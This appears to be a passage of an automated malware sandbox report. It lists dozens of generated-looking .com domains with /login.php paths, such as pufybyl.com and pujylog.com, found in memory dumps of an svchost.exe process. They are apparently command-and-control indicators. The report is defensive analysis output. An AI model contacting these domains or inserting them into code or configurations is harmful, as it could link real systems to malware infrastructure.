    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyxyd.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2283620959.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291333443.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2308285465.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282598720.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1971826168.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufybyl.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812883958.0000000000890000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufybyv.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufydaq.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960150197.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufygup.com/login.php
    Source: svchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2197387114.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953376276.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956064229.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953280624.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954875956.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2191444525.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953269983.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949367459.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188539510.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1950449319.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1951299782.0000000008AF8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyjag.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901541099.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901802901.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901545057.000000000089C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901290927.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyjuq.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufytev.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufywil.com/http://qeqyfaq.com/http://gatynes.com/http://purygeg.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufywil.com/http://qexyxuv.com/x)
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902019877.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901978788.0000000002F94000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898504335.0000000002F83000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901601922.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895964396.0000000002F7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901301890.0000000002F87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901694088.0000000002F93000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufywil.com/login.php
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyxov.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933613581.0000000000899000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyxov.com/login.php
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujycov.com/
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujygug.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1994203713.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023459644.0000000008A09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujyjav.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujylog.com/
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujylog.com/http://gaqyfah.com/http://lyxyxyd.com/http://qexyxuv.com/http://lygywor.com/http:
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujylog.com/login.php
    Source: svchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949257540.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1955984715.0000000008A16000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960150197.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953376276.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956064229.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953280624.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953259371.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956479532.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954875956.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2191444525.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954568937.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2190138247.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188539510.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1952617861.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujylyv.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968702801.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujymiq.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypal.com/login.php
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypup.com/H
    Source: svchost.exe, 00000001.00000003.2110940857.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111808755.0000000008BAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110982974.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypup.com/http://pujypup.com/http://lyvynen.com/H
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujypup.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128433067.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujyteq.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2197387114.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujywep.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pujyxyl.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878115025.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1889657828.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2113424628.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pumybal.com/login.php
